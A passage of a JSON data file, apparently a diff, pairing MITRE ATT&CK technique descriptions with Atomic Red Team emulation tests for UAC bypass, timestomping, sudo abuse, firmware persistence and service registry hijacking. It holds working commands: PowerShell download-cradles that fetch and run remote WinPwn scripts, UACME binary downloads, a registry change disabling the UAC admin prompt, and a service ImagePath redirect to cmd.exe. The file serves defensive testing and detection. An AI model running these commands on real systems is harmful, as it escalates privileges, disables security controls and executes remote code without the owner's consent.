DebugObject\n\nTarget:\tAttacker defined\n\nComponent:\tAttacker defined\n\nImplementation:\tucmDebugObjectMethod\n\nUCM Method:\tUacMethodDebugObject\n\nhttps://github.com/hfiref0x/UACME\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "uacme_exe": { - "description": "Path to uacme executable", - "type": "path", - "default": "%temp%\\uacme\\59 Akagi64.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "UACME executable must exist on disk at specified location (#{uacme_exe})\n", - "prereq_command": "$tempPath = cmd /c echo #{uacme_exe}\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n", - "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n" - } - ], - "executor": { - "command": "\"#{uacme_exe}\"\n", - "cleanup_command": "powershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n", - "name": "command_prompt" - } - }, - { - "name": "UACME Bypass Method 61", - "auto_generated_guid": "7825b576-744c-4555-856d-caf3460dc236", - "description": "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Enigma0x3/bytecode77 derivative by Nassim Asrir\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\slui.exe, \\system32\\changepk.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodDebugObject\n\nhttps://github.com/hfiref0x/UACME\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "uacme_exe": { - "description": "Path to uacme executable", - "type": "path", - "default": "%temp%\\uacme\\61 Akagi64.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "UACME executable must exist on disk at specified location (#{uacme_exe})\n", - "prereq_command": "$tempPath = cmd /c echo #{uacme_exe}\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n", - "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n" - } - ], - "executor": { - "command": "\"#{uacme_exe}\"\n", - "cleanup_command": "powershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n", - "name": "command_prompt" - } - }, - { - "name": "WinPwn - UAC Magic", - "auto_generated_guid": "964d8bf8-37bc-4fd3-ba36-ad13761ebbcc", - "description": "UAC bypass using Magic technique via function of WinPwn", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nUACBypass -noninteractive -command \"C:\\windows\\system32\\cmd.exe\" -technique magic", - "name": "powershell" - } - }, - { - "name": "WinPwn - UAC Bypass ccmstp technique", - "auto_generated_guid": "f3c145f9-3c8d-422c-bd99-296a17a8f567", - "description": "UAC bypass using ccmstp technique via function of WinPwn", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nUACBypass -noninteractive -command \"C:\\windows\\system32\\calc.exe\" -technique ccmstp", - "name": "powershell" - } - }, - { - "name": "WinPwn - UAC Bypass DiskCleanup technique", - "auto_generated_guid": "1ed67900-66cd-4b09-b546-2a0ef4431a0c", - "description": "UAC bypass using DiskCleanup technique via function of WinPwn", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nUACBypass -noninteractive -command \"C:\\windows\\system32\\cmd.exe\" -technique DiskCleanup", - "name": "powershell" - } - }, - { - "name": "WinPwn - UAC Bypass DccwBypassUAC technique", - "auto_generated_guid": "2b61977b-ae2d-4ae4-89cb-5c36c89586be", - "description": "UAC Bypass DccwBypassUAC technique via function of WinPwn", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/dccuac.ps1')", - "name": "powershell" - } - }, - { - "name": "Disable UAC admin consent prompt via ConsentPromptBehaviorAdmin registry key", - "auto_generated_guid": "251c5936-569f-42f4-9ac2-87a173b9e9b8", - "description": "Disable User Account Conrol (UAC) for admin by setting the registry key \nHKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\ConsentPromptBehaviorAdmin to 0.\n\n[MedusaLocker Ransomware](https://cloudsek.com/technical-analysis-of-medusalocker-ransomware/), \n[Purple Fox Rootkit](https://blogs.blackberry.com/en/2022/01/threat-thursday-purple-fox-rootkit), \n[Avaddon Ransomware](https://blogs.blackberry.com/en/2021/06/threat-thursday-avaddon-ransomware-uses-ddos-attacks-as-triple-threat)\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "$orgValue =(Get-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name ConsentPromptBehaviorAdmin).ConsentPromptBehaviorAdmin\nSet-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name ConsentPromptBehaviorAdmin -Value 0 -Type Dword -Force", - "cleanup_command": "Set-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name ConsentPromptBehaviorAdmin -Value $orgValue -Type Dword -Force\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "UAC Bypass with WSReset Registry Modification", - "auto_generated_guid": "3b96673f-9c92-40f1-8a3e-ca060846f8d9", - "description": "The following UAC bypass is focused on a registry key under \"HKCU:\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command\" that will trigger a command once wsreset.exe runs. \nThis bypass is limited to Windows 10 1803/1809 and may not run on Server platforms. The registry mod is where interest will be.\nIf successful, the command to run will spawn off wsreset.exe. \n[UAC Bypass in Windows 10 Store Binary](https://0x1.gitlab.io/exploit/UAC-Bypass-in-Windows-10-Store-Binary/)\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "commandpath": { - "description": "Registry path", - "type": "string", - "default": "HKCU:\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command" - }, - "commandtorun": { - "description": "Command to run", - "type": "string", - "default": "C:\\Windows\\System32\\cmd.exe /c start cmd.exe" - } - }, - "executor": { - "command": "New-Item #{commandpath} -Force | Out-Null\nNew-ItemProperty -Path #{commandpath} -Name \"DelegateExecute\" -Value \"\" -Force | Out-Null\nSet-ItemProperty -Path #{commandpath} -Name \"(default)\" -Value \"#{commandtorun}\" -Force -ErrorAction SilentlyContinue | Out-Null\n$Process = Start-Process -FilePath \"C:\\Windows\\System32\\WSReset.exe\" -WindowStyle Hidden", - "cleanup_command": "Remove-Item #{commandpath} -Recurse -Force\n", - "name": "powershell" - } - } - ] - }, - "T1099": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "Windows", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Romain Dumont, ESET" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a", - "type": "attack-pattern", - "created": "2017-05-31T21:31:12.675Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1099", - "url": "https://attack.mitre.org/techniques/T1099" - }, - { - "url": "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html", - "description": "Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016.", - "source_name": "WindowsIR Anti-Forensic Techniques" - } - ], - "modified": "2020-02-18T16:56:57.039Z", - "name": "Timestomp", - "description": "Adversaries may take actions to hide the deployment of new, or modification of existing files to obfuscate their activities. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.", - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Host forensic analysis" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator", - "SYSTEM" - ] - }, - "atomic_tests": [] - }, - "T1548.003": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0", - "type": "attack-pattern", - "created": "2020-01-30T14:34:44.992Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1548.003", - "url": "https://attack.mitre.org/techniques/T1548/003" - }, - { - "url": "https://www.sudo.ws/", - "description": "Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.", - "source_name": "sudo man page 2018" - }, - { - "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/", - "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.", - "source_name": "OSX.Dok Malware" - }, - { - "url": "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does", - "description": "Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.", - "source_name": "cybereason osx proton" - } - ], - "modified": "2022-03-14T16:28:19.781Z", - "name": "Abuse Elevation Control Mechanism: Sudo and Sudo Caching", - "description": "Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user.\n\nIn the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "File: File Modification", - "Command: Command Execution", - "Process: Process Metadata", - "Process: Process Creation" - ], - "x_mitre_permissions_required": [ - "User" - ], - "x_mitre_effective_permissions": [ - "root" - ], - "identifier": "T1548.003" - }, - "atomic_tests": [] - }, - "T1578": { - "technique": { - "x_mitre_platforms": [ - "IaaS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--144e007b-e638-431d-a894-45d90c54ab90", - "type": "attack-pattern", - "created": "2019-08-30T18:03:05.864Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1578", - "url": "https://attack.mitre.org/techniques/T1578" - }, - { - "source_name": "Mandiant M-Trends 2020", - "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020", - "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020." - } - ], - "modified": "2021-04-20T14:51:01.759Z", - "name": "Modify Cloud Compute Infrastructure", - "description": "An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.\n\nPermissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Establish centralized logging for the activity of cloud compute infrastructure components. Monitor for suspicious sequences of events, such as the creation of multiple snapshots within a short period of time or the mount of a snapshot to a new instance by a new or unexpected user. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.", - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Instance: Instance Creation", - "Snapshot: Snapshot Deletion", - "Volume: Volume Metadata", - "Snapshot: Snapshot Metadata", - "Snapshot: Snapshot Creation", - "Volume: Volume Deletion", - "Instance: Instance Modification", - "Snapshot: Snapshot Modification", - "Instance: Instance Deletion", - "Volume: Volume Creation", - "Volume: Volume Modification", - "Instance: Instance Metadata", - "Instance: Instance Start", - "Instance: Instance Stop" - ], - "x_mitre_permissions_required": [ - "User" - ] - }, - "atomic_tests": [] - }, - "T1542.001": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Jean-Ian Boutin, ESET", - "McAfee", - "Ryan Becwar" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada", - "type": "attack-pattern", - "created": "2019-12-19T19:43:34.507Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1542.001", - "url": "https://attack.mitre.org/techniques/T1542/001" - }, - { - "external_id": "CAPEC-532", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/532.html" - }, - { - "url": "https://en.wikipedia.org/wiki/BIOS", - "description": "Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.", - "source_name": "Wikipedia BIOS" - }, - { - "url": "https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface", - "description": "Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017.", - "source_name": "Wikipedia UEFI" - }, - { - "url": "http://www.uefi.org/about", - "description": "UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.", - "source_name": "About UEFI" - }, - { - "url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research", - "description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.", - "source_name": "MITRE Trustworthy Firmware Measurement" - }, - { - "url": "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about", - "description": "Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.", - "source_name": "MITRE Copernicus" - }, - { - "url": "https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/", - "description": "Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.", - "source_name": "McAfee CHIPSEC Blog" - }, - { - "url": "https://github.com/chipsec/chipsec", - "description": "Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.", - "source_name": "Github CHIPSEC" - }, - { - "url": "http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html", - "description": "Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved March 20, 2017.", - "source_name": "Intel HackingTeam UEFI Rootkit" - } - ], - "modified": "2020-05-19T21:22:37.865Z", - "name": "System Firmware", - "description": "Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Firmware: Firmware Modification" - ], - "x_mitre_defense_bypassed": [ - "Host intrusion prevention systems", - "Anti-virus", - "File monitoring" - ], - "x_mitre_permissions_required": [ - "Administrator", - "SYSTEM" - ] - }, - "atomic_tests": [] - }, - "T1574.011": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Travis Smith, Tripwire", - "Matthew Demaske, Adaptforward" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c", - "created": "2020-03-13T11:42:14.444Z", - "x_mitre_version": "1.1", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1574.011", - "url": "https://attack.mitre.org/techniques/T1574/011" - }, - { - "source_name": "Tweet Registry Perms Weakness", - "url": "https://twitter.com/r0wdy_/status/936365549553991680", - "description": "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018." - }, - { - "source_name": "insecure_reg_perms", - "url": "https://itm4n.github.io/windows-registry-rpceptmapper-eop/", - "description": "Cl\u00e9ment Labro. (2020, November 12). Windows RpcEptMapper Service Insecure Registry Permissions EoP. Retrieved August 25, 2021." - }, - { - "source_name": "Kansa Service related collectors", - "url": "https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html", - "description": "Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019." - }, - { - "source_name": "malware_hides_service", - "url": "https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/", - "description": "Lawrence Abrams. (2004, September 10). How Malware hides and is installed as a Service. Retrieved August 30, 2021." - }, - { - "source_name": "Autoruns for Windows", - "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", - "description": "Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020." - }, - { - "source_name": "Registry Key Security", - "url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN", - "description": "Microsoft. (2018, May 31). Registry Key Security and Access Rights. Retrieved March 16, 2017." - }, - { - "source_name": "microsoft_services_registry_tree", - "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree", - "description": "Microsoft. (2021, August 5). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved August 25, 2021." - }, - { - "source_name": "troj_zegost", - "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost", - "description": "Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September 2, 2021." - }, - { - "url": "https://capec.mitre.org/data/definitions/478.html", - "source_name": "capec", - "external_id": "CAPEC-478" - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service\u2019s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\n\nThe Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\n\nAdversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service\u2019s file may be identified using HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\servicename\\Parameters\\ServiceDll.(Citation: malware_hides_service)", - "modified": "2022-05-05T04:53:45.640Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Hijack Execution Flow: Services Registry Permissions Weakness", - "x_mitre_detection": "Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Command: Command Execution", - "Process: Process Creation", - "Windows Registry: Windows Registry Key Modification", - "Service: Service Modification" - ], - "x_mitre_permissions_required": [ - "Administrator", - "User" - ], - "x_mitre_effective_permissions": [ - "SYSTEM" - ], - "x_mitre_defense_bypassed": [ - "Application Control" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1574.011" - }, - "atomic_tests": [ - { - "name": "Service Registry Permissions Weakness", - "auto_generated_guid": "f7536d63-7fd4-466f-89da-7e48d550752a", - "description": "Service registry permissions weakness check and then which can lead to privilege escalation with ImagePath. eg.\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{weak_service_name}\" /v ImagePath /d \"C:\\temp\\AtomicRedteam.exe\"\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "weak_service_name": { - "description": "weak service check", - "type": "string", - "default": "weakservicename" - } - }, - "executor": { - "command": "get-acl REGISTRY::HKLM\\SYSTEM\\CurrentControlSet\\Services\\* |FL\nget-acl REGISTRY::HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{weak_service_name} |FL\n", - "name": "powershell" - } - }, - { - "name": "Service ImagePath Change with reg.exe", - "auto_generated_guid": "f38e9eea-e1d7-4ba6-b716-584791963827", - "description": "Change Service registry ImagePath of a bengin service to a malicious file\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "weak_service_name": { - "description": "weak service name", - "type": "string", - "default": "calcservice" - }, - "weak_service_path": { - "description": "weak service path", - "type": "string", - "default": "%windir%\\system32\\win32calc.exe" - }, - "malicious_service_path": { - "description": "malicious service path", - "type": "string", - "default": "%windir%\\system32\\cmd.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "The service must exist (#{weak_service_name})\n", - "prereq_command": "if (Get-Service #{weak_service_name}) {exit 0} else {exit 1}\n", - "get_prereq_command": "sc.exe create #{weak_service_name} binpath= \"#{weak_service_path}\"\n" - } - ], - "executor": { - "command": "reg.exe add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{weak_service_name}\" /f /v ImagePath /d \"#{malicious_service_path}\"\n", - "cleanup_command": "sc.exe delete #{weak_service_name}\n", - "name": "command_prompt" - } - } - ] - }, - "T1542.003": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba", - "type": "attack-pattern", - "created": "2019-12-19T21:05:38.123Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1542.003", - "url": "https://attack.mitre.org/techniques/T1542/003" - }, - { - "external_id": "CAPEC-552", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/552.html" - }, - { - "source_name": "Mandiant M Trends 2016", - "url": "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf", - "description": "Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 